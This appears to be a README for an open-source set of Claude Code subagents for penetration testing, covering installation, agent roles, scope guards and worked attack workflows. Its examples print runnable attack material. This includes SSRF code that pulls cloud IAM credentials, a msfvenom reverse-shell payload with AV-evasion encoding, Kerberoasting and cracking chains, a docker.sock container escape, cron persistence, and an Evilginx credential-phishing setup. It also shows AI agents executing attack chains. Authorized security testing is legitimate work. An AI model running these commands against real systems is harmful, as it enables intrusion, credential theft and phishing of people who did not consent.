pentest-ai-agents

name	pentest-ai-agents
description	Claude Code subagents for offensive security research, penetration testing planning, recon analysis, exploit research, detection engineering, and security reporting
triggers	["plan a penetration test engagement","analyze nmap or bloodhound output","research exploits for this vulnerability","build detection rules for this attack","generate a penetration test report","help me with offensive security research","set up AI agents for pentesting","audit security compliance with STIG"]

pentest-ai-agents

Skill by ara.so — Security Skills collection.

pentest-ai-agents transforms Claude Code into an offensive security research assistant through 35 specialized subagents. Each agent carries deep domain knowledge in specific areas: recon, web testing, Active Directory, cloud security, mobile/wireless pentesting, social engineering, payload crafting, reverse engineering, exploit chaining, detection engineering, and forensics.

The agents route automatically based on task description—no manual agent selection needed. They understand 80+ offensive security tools (nmap, nuclei, BloodHound, Impacket, Sliver, Ghidra, etc.) and can plan engagements, analyze recon data, research exploits, chain attacks, build detections, and write reports.

Installation

Quick Install (Recommended)

curl -fsSL https://raw.githubusercontent.com/0xSteph/pentest-ai-agents/main/install.sh | bash

This copies agent files to ~/.claude/agents/ and is idempotent (safe to re-run for updates).

Manual Clone and Install

git clone https://github.com/0xSteph/pentest-ai-agents.git
cd pentest-ai-agents

# Install agents globally for all projects
./install.sh --global

# Or install for current project only
./install.sh --project

# Use Haiku for advisory agents (lower cost)
./install.sh --global --lite

# Also install underlying CLI tools (nmap, nuclei, ffuf, etc.)
./install.sh --tools

The --tools flag installs underlying offensive security tools via apt/brew/pacman + pipx/go/cargo.

Installation Modes

Flag	Behavior
--global	Install to ~/.claude/agents/ (all projects)
--project	Install to .claude/agents/ (current project)
--lite	Use Haiku for Tier 1 advisory agents (cost optimization)
--tools	Install underlying tools (nmap, nuclei, BloodHound, etc.)

Agent Architecture

Tier 1 vs Tier 2

• Tier 1 (Advisory): Analyze data, plan engagements, recommend commands. Never execute tools directly. Examples: engagement-planner, exploit-guide, detection-engineer.
• Tier 2 (Execution-capable): Can run tools with user approval and declared scope. Examples: recon-advisor, web-hunter, ad-attacker, payload-crafter.

All Tier 2 agents enforce scope guards—they require explicit engagement scope declaration and refuse out-of-scope actions.

Agent Categories

Planning & OSINT:
  - engagement-planner: Phased pentest plans with MITRE ATT&CK mappings
  - threat-modeler: STRIDE/DREAD threat modeling
  - opsec-anonymizer: Operator identity hygiene, source IP design
  - osint-collector: Domain recon, email harvesting, social profiling
  - recon-advisor: Parses nmap/nuclei/BloodHound, prioritizes targets

Vulnerability Discovery:
  - vuln-scanner: nuclei, nikto, nmap NSE, RouterSploit orchestration
  - web-hunter: ffuf, gobuster, sqlmap, dalfox, Commix
  - api-security: API testing (GraphQL, REST, gRPC)
  - bizlogic-hunter: Business logic flaws, race conditions, IDOR
  - bug-bounty: Bug bounty workflow optimization
  - llm-redteam: OWASP LLM Top 10, prompt injection, RAG poisoning

Infrastructure Attacks:
  - ad-attacker: BloodHound, Impacket, NetExec, Certipy, Kerberos abuse
  - cloud-security: AWS/Azure/GCP misconfig, SCPs, IAM abuse
  - cicd-redteam: Pipeline exploitation, artifact poisoning
  - container-breakout: Docker/K8s escape, runc/cri-o CVEs, RBAC abuse

Specialized Domains:
  - mobile-pentester: Frida, Objection, jadx, MobSF
  - wireless-pentester: aircrack-ng, hcxtools, bettercap
  - social-engineer: Social engineering campaigns
  - phishing-operator: GoPhish, Evilginx, dnstwist

Post-Exploitation:
  - privesc-advisor: Linux/Windows privilege escalation
  - c2-operator: Sliver/Mythic/Havoc/Cobalt Strike profiles
  - payload-crafter: msfvenom, Donut, custom loaders
  - swarm-orchestrator: Multi-agent attack coordination

Analysis & Reverse Engineering:
  - reverse-engineer: Ghidra, Radare2, Binwalk, dnSpy
  - malware-analyst: Volatility 3, YARA, sandbox analysis
  - forensics-analyst: Incident response, memory/disk analysis
  - ctf-solver: CTF challenge solver (crypto, stego, pwn, web)

Exploit Development:
  - exploit-chainer: Multi-step attack composition
  - attack-planner: Attack graph generation, path optimization
  - poc-validator: Exploit proof-of-concept validation
  - credential-tester: Hydra, Hashcat, credential stuffing

Defense & Reporting:
  - detection-engineer: Sigma, Splunk SPL, Elastic KQL, Sentinel KQL
  - stig-analyst: DISA STIG compliance auditing
  - report-generator: Executive summaries, technical findings, CVSS scoring

Core Commands

Interactive Routing

Once installed, just describe your task in Claude Code:

"Plan an internal pentest for a 500-endpoint AD environment, 2-week window."
"I have a domain user, where do I look first in BloodHound?"
"Convert this SharpHound EXE into shellcode for an EDR test."
"Run a phishing simulation against acme-corp.com."
"Reverse this firmware image and analyze the crypto protocol."

Claude routes to the appropriate specialist automatically.

Slash Commands

# Get agent recommendation + concrete next commands
/recommend "phish a small SaaS team's IT department"

# Filter agents by domain
/agents-for web
/agents-for cloud
/agents-for active-directory

# List all agents
/agents

Tool Audit

Check which underlying tools are installed:

# Audit all tools grouped by agent
bash db/doctor.sh

# Audit specific agent's toolchain
bash db/doctor.sh --agent ad-attacker

# Machine-readable output
bash db/doctor.sh --json

Output shows ✔ (installed) or ✘ (missing) per tool with install hints.

Findings Database

Track engagement findings in persistent SQLite:

# Initialize new engagement
bash findings.sh init acme-corp-2026

# Add a finding (auto-routed from agent output)
bash findings.sh add --severity critical --title "Domain Admin in Kerberoastable SPN" \
  --description "SVC_SQL account has adminCount=1 and servicePrincipalName set" \
  --cve CVE-2022-12345 --cvss 8.8 --host dc01.acme.local --tool bloodhound

# Show engagement stats
bash findings.sh stats

# Export findings as JSON
bash findings.sh export

# Export as Markdown report
bash findings.sh export --format md

Schema includes cve, tool_used, mitre_attack, remediation columns.

Session Handoffs

Generate handoff reports between work sessions:

bash handoff.sh

Produces Markdown with: what was accomplished, current state, immediate next actions, blockers.

Configuration

Environment Variables

# Anthropic API key (required)
export ANTHROPIC_API_KEY="sk-ant-..."

# Optional: Model overrides
export PENTEST_TIER1_MODEL="claude-3-5-haiku-20241022"  # Advisory agents
export PENTEST_TIER2_MODEL="claude-3-7-sonnet-20250219" # Execution agents

# Optional: Findings database path
export PENTEST_FINDINGS_DB="$HOME/.pentest/findings.db"

# Optional: Tool installation preferences
export PENTEST_PACKAGE_MANAGER="apt"  # apt, brew, pacman, yum

Scope Declaration (Tier 2 Agents)

Tier 2 agents require explicit scope before executing tools:

# In Claude Code, declare scope first:
"Engagement scope: 10.10.10.0/24, acme-corp.com, authorized by Jane Doe <[e-mail]>, 2026-05-01 to 2026-05-15"

# Then request actions:
"Run full port scan on 10.10.10.0/24"
"Enumerate SMB shares on discovered hosts"

Agents refuse actions outside declared IP ranges, domains, and time windows.

Hard Refusal List

All agents enforce scope guards that refuse:

• Denial of Service (DoS/DDoS)
• Mass internet scanning
• Unattended worm/ransomware propagation
• False-flag operations
• Safety-of-life system targeting (medical, industrial control)

Usage Patterns

Engagement Planning

# In Claude Code:
"Plan a 2-week external pentest for fintech-startup.io. Assume no prior credentials. Focus on web app, API, and cloud infrastructure."

engagement-planner produces:

• Phased timeline (recon → initial access → privilege escalation → lateral movement → exfil simulation)
• MITRE ATT&CK technique mappings per phase
• Tool recommendations with time estimates
• ROE template with emergency contacts

Recon and Target Prioritization

# Run recon tools (outside Claude):
nmap -sV -sC -oA acme-scan 10.10.10.0/24
nuclei -l hosts.txt -severity critical,high -json -o nuclei.json

# In Claude Code:
"Analyze acme-scan.xml and nuclei.json. Prioritize targets for initial access."

recon-advisor (Tier 2):

1. Parses XML/JSON
2. Groups findings by host and severity
3. Recommends attack paths (e.g., "10.10.10.50: outdated Apache + ProxyShell CVE")
4. Suggests next commands: ffuf -u http://10.10.10.50/FUZZ -w /usr/share/wordlists/dirb/common.txt

Active Directory Attack Chains

# After obtaining BloodHound JSON:
"I have domain user [e-mail]. BloodHound data is in ./bloodhound/. Show me paths to Domain Admins and recommend attacks."

ad-attacker:

• Runs bloodhound-python or parses existing JSON
• Identifies: Kerberoastable accounts, AS-REP roastable users, constrained delegation, ACL abuse paths
• Generates command sequences:

  GetUserSPNs.py acme.local/alice:password -dc-ip 10.10.10.5 -request -outputfile spns.txt
  hashcat -m 13100 spns.txt /usr/share/wordlists/rockyou.txt
  

Exploit Chaining

"I found SSRF in the /admin/debug endpoint and read /etc/passwd. Next steps to get a shell?"

exploit-chainer:

1. Validates SSRF → file read primitive
2. Recommends: SSRF → internal service enumeration → cloud metadata (if AWS/Azure/GCP)
3. Chains: SSRF to 169.254.169.254 → IAM role credentials → S3 bucket access → RCE via Lambda
4. Provides POC code:

   import requests
   url = "https://target.com/admin/debug?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
   roles = requests.get(url).text.split('\n')
   creds = requests.get(f"{url}{roles[0]}").json()
   print(creds['AccessKeyId'], creds['SecretAccessKey'], creds['Token'])
   

Payload Crafting and Evasion

"Generate a Windows reverse shell payload for 10.10.10.50:443, encode it to evade AV, and convert to shellcode for process injection."

payload-crafter:

# Stage 1: Generate payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.50 LPORT=443 -f exe -o payload.exe

# Stage 2: Convert to shellcode with Donut
donut -a 2 -f 1 payload.exe -o payload.bin

# Stage 3: Encode shellcode (XOR + base64)
python3 << 'EOF'
with open('payload.bin', 'rb') as f:
    sc = f.read()
xor_sc = bytes([b ^ 0xAA for b in sc])
import base64
print(base64.b64encode(xor_sc).decode())
EOF

# Stage 4: Inject via process hollowing (C# template provided)

Includes AMSI bypass snippets and ETW patching patterns.

Detection Engineering

"We just tested Kerberoasting against SVC_SQL. Build Sigma and Splunk detection rules."

detection-engineer:

# Sigma rule (kerberoasting.yml)
title: Kerberoasting TGS Request
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketOptions: '0x40810000'
    ServiceName|endswith: '$'
  filter:
    ServiceName|startswith: 'krbtgt'
  condition: selection and not filter
falsepositives:
  - Legitimate service account access
level: medium
tags:
  - attack.credential_access
  - attack.t1558.003

# Splunk SPL
index=windows EventCode=4769 Ticket_Options=0x40810000 Service_Name=*$ NOT Service_Name=krbtgt*
| stats count by src_ip, Account_Name, Service_Name
| where count > 5

Reverse Engineering Firmware

"Analyze router-firmware.bin and extract the encryption keys."

reverse-engineer:

# Extract filesystem
binwalk -e router-firmware.bin

# Identify architecture
file _router-firmware.bin.extracted/squashfs-root/bin/httpd
# Output: ELF 32-bit LSB MIPS

# Load into Ghidra (headless mode)
analyzeHeadless /tmp/ghidra_project router_fw -import _router-firmware.bin.extracted/squashfs-root/bin/httpd -postScript FindCryptoKeys.java

# Search for hardcoded keys
strings -n 16 httpd | grep -E '^[A-Fa-f0-9]{32,}$'

Provides Ghidra Python scripts for automated key extraction from common crypto libraries (OpenSSL, mbedTLS).

Phishing Campaign Setup

"Set up a phishing campaign for acme-corp.com employees. Clone their SSO login page and capture credentials with session cookies."

phishing-operator:

# 1. Register lookalike domain
# Manual: acme-sso.com (or use dnstwist suggestions)
dnstwist acme-corp.com --registered | head -10

# 2. Clone SSO page
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent https://sso.acme-corp.com/login

# 3. Deploy Evilginx
evilginx2 -p ./phishlets
# Configure phishlet for acme-corp SSO (example phishlet config provided)

# 4. Track campaign in GoPhish
# Import targets, attach cloned template, set sending profile

Includes SMTP relay setup, domain reputation warming, and email header crafting to evade SPF/DKIM/DMARC.

CTF Challenges

"Solve this CTF crypto challenge: ciphertext is 'Xq3mK9...' and we have a PCAP with TLS handshake."

ctf-solver:

1. Identifies cipher type (frequency analysis suggests substitution)
2. Tries automated solvers: dcode.fr substitution, quipqiup
3. Extracts TLS pre-master secret from PCAP via Wireshark
4. Decrypts TLS stream:

   tshark -r capture.pcap -o tls.keylog_file:sslkeylog.txt -Y http -T fields -e http.file_data
   

Covers crypto, steganography (zsteg, steghide), forensics, binary exploitation, web challenges.

Underlying Tools

Agents drive these tools (installable via install.sh --tools):

Recon: nmap, masscan, rustscan, subfinder, amass, httpx, theHarvester, sherlock, holehe, maigret
Web: ffuf, gobuster, feroxbuster, sqlmap, dalfox, Commix, dirsearch, whatweb
Vulnerability: nuclei, nikto, nmap NSE, RouterSploit
AD: BloodHound, Impacket, NetExec, Certipy, kerbrute, Responder
Credentials: Hydra, Hashcat, John, cupp, CeWL, Crunch, hashid, haiti
Cloud: aws-cli, azure-cli, gcloud, Trivy, Prowler, ScoutSuite, Pacu
Containers: kubectl, kube-hunter, peirates, CDK
C2: Sliver, Mythic, Havoc, Cobalt Strike
LLM: Garak, PyRIT, Promptfoo
Mobile: Frida, Objection, jadx, apktool, MobSF
Wireless: aircrack-ng, hcxdumptool, bettercap
Social: GoPhish, Evilginx, dnstwist
Payloads: msfvenom, Donut
RE: Ghidra, Radare2, Binwalk, dnSpy
Forensics: Volatility 3, exiftool, YARA, Wireshark

Run bash db/doctor.sh to audit installed tools.

Token Optimization

Model Selection

# Use Haiku for advisory agents (engagement-planner, exploit-guide, detection-engineer)
./install.sh --global --lite

# Or set manually:
export PENTEST_TIER1_MODEL="claude-3-5-haiku-20241022"
export PENTEST_TIER2_MODEL="claude-3-7-sonnet-20250219"

Cost comparison (per 1M tokens input):

• Haiku: $0.80
• Sonnet: $3.00

Tier 1 agents handle ~80% of interactions (planning, analysis, recommendations). Using Haiku for Tier 1 cuts costs by ~60% with minimal quality impact.

Context Management

Agents use structured tool output parsing to minimize repeated context:

# Instead of pasting full nmap XML into chat:
findings.sh import --file acme-scan.xml

# Agent queries SQLite directly:
SELECT host, port, service, version FROM scan_results WHERE severity='critical';

Reduces token usage by 10-50× for large scan outputs.

Local Models (Experimental)

Run agents with local models via Ollama:

# Install Ollama
curl -fsSL https://ollama.com/install.sh | sh

# Pull model
ollama pull mixtral:8x7b

# Configure pentest-ai-agents
export PENTEST_LOCAL_MODEL="mixtral:8x7b"
export ANTHROPIC_API_KEY=""  # Disable cloud models

Tested models:

• mixtral:8x7b: Good for Tier 1 advisory agents
• llama3:70b: Comparable to Haiku for planning/analysis
• codellama:34b: Decent for exploit POC generation

Limitations: Local models struggle with complex exploit chaining and detection rule generation. Recommend hybrid mode: local for Tier 1, Claude Sonnet for Tier 2.

Troubleshooting

Agent Not Routing

Symptom: Claude doesn't invoke the right agent for your task.

Fix: Be more explicit in task description:

# Vague
"Help with Active Directory"

# Specific
"I have a domain user. Analyze BloodHound data and recommend Kerberoasting attacks."

Or use slash commands:

/recommend "domain user to domain admin in AD environment"

Tools Not Found

Symptom: Agent recommends command, but tool isn't installed.

Fix:

# Audit missing tools
bash db/doctor.sh

# Install missing tools
./install.sh --tools

# Or install specific tool manually:
sudo apt install nmap
pipx install bloodhound

Scope Refusal

Symptom: Tier 2 agent refuses to run commands: "No engagement scope declared."

Fix: Declare scope first:

"Engagement scope: 10.10.10.0/24, testlab.local, authorized by Alice <[e-mail]>, 2026-05-01 to 2026-05-31"

Include: IP ranges, domains, authorizing party, time window.

Findings Database Locked

Symptom: database is locked error when adding findings.

Fix:

# Close any open findings.sh processes
pkill -f findings.sh

# Or use WAL mode (write-ahead logging):
sqlite3 ~/.pentest/findings.db "PRAGMA journal_mode=WAL;"

Out-of-Date Agent Knowledge

Symptom: Agent recommends deprecated tool or technique.

Fix: Update agents:

cd pentest-ai-agents
git pull
./install.sh --global

Agents track tool updates via community feedback. File issues for outdated recommendations.

Real-World Examples

Example 1: Full External Pentest Workflow

# Step 1: Plan engagement
# In Claude Code:
"Plan a 2-week external pentest for acme-corp.com. No credentials. Focus on web, API, cloud."

# engagement-planner produces timeline, ROE, tool list

# Step 2: OSINT recon
"Run OSINT on acme-corp.com. Find subdomains, employee emails, leaked credentials."

# osint-collector executes:
subfinder -d acme-corp.com -o subs.txt
amass enum -d acme-corp.com -o amass.txt
theHarvester -d acme-corp.com -b all -f harvest.json
# Searches breach databases (dehashed, etc.)

# Step 3: Vulnerability scanning
"Scan discovered hosts with nuclei for critical/high severity issues."

# vuln-scanner:
nuclei -l live-hosts.txt -severity critical,high -json -o nuclei.json

# Step 4: Prioritize targets
"Analyze nuclei.json. Which hosts are most likely to give initial access?"

# recon-advisor:
# 1. Parses JSON
# 2. Identifies: SSRF in admin panel, outdated WordPress, exposed Git repo
# 3. Recommends: "Target admin.acme-corp.com/debug (SSRF) for cloud metadata access"

# Step 5: Exploit SSRF
"Exploit SSRF at admin.acme-corp.com/debug to access AWS metadata and pivot to S3."

# exploit-chainer:
curl "https://admin.acme-corp.com/debug?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Extracts AWS keys
aws s3 ls --profile stolen-creds
# Finds sensitive data bucket

# Step 6: Build detection
"Build Sigma and Splunk rules to detect SSRF to cloud metadata endpoints."

# detection-engineer:
# Produces Sigma rule + Splunk SPL + AWS CloudTrail query

# Step 7: Report
"Generate executive summary and technical findings report."

# report-generator:
# Outputs Markdown with CVSS scores, remediation steps, attack timeline

Example 2: AD Privilege Escalation from User to Domain Admin

# Starting point: domain user [e-mail]

# Step 1: Enumerate AD
"I have [e-mail] credentials. Enumerate AD and find paths to Domain Admins."

# ad-attacker:
bloodhound-python -u alice -p 'Password123' -d corp.local -dc dc01.corp.local -c All --zip
# Uploads to BloodHound GUI or parses JSON locally

# Step 2: Identify attack path
"Analyze BloodHound data. What's the shortest path to DA?"

# ad-attacker:
# Finds: alice → MemberOf → IT-Admins → GenericWrite → SVC_SQL → Kerberoastable → DA group

# Step 3: Execute attack chain
"Execute the attack chain: GenericWrite to add SPN, Kerberoast SVC_SQL, crack hash."

# ad-attacker:
# 1. Add SPN to SVC_SQL (GenericWrite abuse)
python3 addspn.py -u alice -p 'Password123' -t SVC_SQL -s HTTP/fake.corp.local corp.local/dc01

# 2. Kerberoast
GetUserSPNs.py corp.local/alice:Password123 -dc-ip dc01.corp.local -request -outputfile tgs.txt

# 3. Crack
hashcat -m 13100 tgs.txt rockyou.txt

# 4. Validate DA access
netexec smb dc01.corp.local -u SVC_SQL -p 'CrackedPassword' --shares

# Step 4: Build detection
"Build detection rules for GenericWrite SPN modification and Kerberoasting."

# detection-engineer:
# Sigma rule for Event ID 4742 (user object modified) + SPN change
# Splunk correlation for 4742 → 4769 (TGS request) within 5 minutes

Example 3: Container Escape to Host Root

# Starting point: Shell inside Docker container

# Step 1: Assess container environment
"I have a shell in a Docker container. Assess escape vectors."

# container-breakout:
# Checks: privileged flag, host PID namespace, mounted /var/run/docker.sock, capabilities

# Step 2: Exploit mounted docker.sock
"docker.sock is mounted. Exploit it to escape to host."

# container-breakout:
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host /bin/bash
# Now root on host

# Step 3: Persistence
"Establish persistence on the host as root."

# c2-operator:
# Recommends: cron job, systemd service, SSH key injection
echo "* * * * * root /tmp/.update.sh" >> /host/etc/crontab

# Step 4: Detection
"Build Falco rule to detect docker.sock abuse from containers."

# detection-engineer:
# Falco rule for container process accessing /var/run/docker.sock

Legal and Ethical Use

Authorized testing only. All agents enforce scope guards:

• Require explicit engagement scope (IP ranges, domains, authorization, dates)
• Refuse out-of-scope actions
• Log all commands for audit trails

Hard refusals for:

• Denial of Service
• Mass internet scanning
• Unattended worm propagation
• False-flag operations
• Safety-of-life systems (medical, ICS/SCADA)

Users are responsible for obtaining proper authorization before testing. pentest-ai-agents is a research and education tool. Unauthorized testing is illegal.

Contributing

Contributions welcome:

• New agents (follow existing structure in agents/)
• Tool integrations (add to db/tools.json)
• Detection rules (expand detection-engineer ruleset)
• Bug fixes and documentation improvements

See CONTRIBUTING.md for guidelines.

Resources

• Documentation
• INSTALL.md - Detailed installation guide
• Agent Reference - Full agent descriptions
• Tool Matrix - Tool coverage by agent
• GitHub Issues - Report bugs, request features

License

MIT License - see LICENSE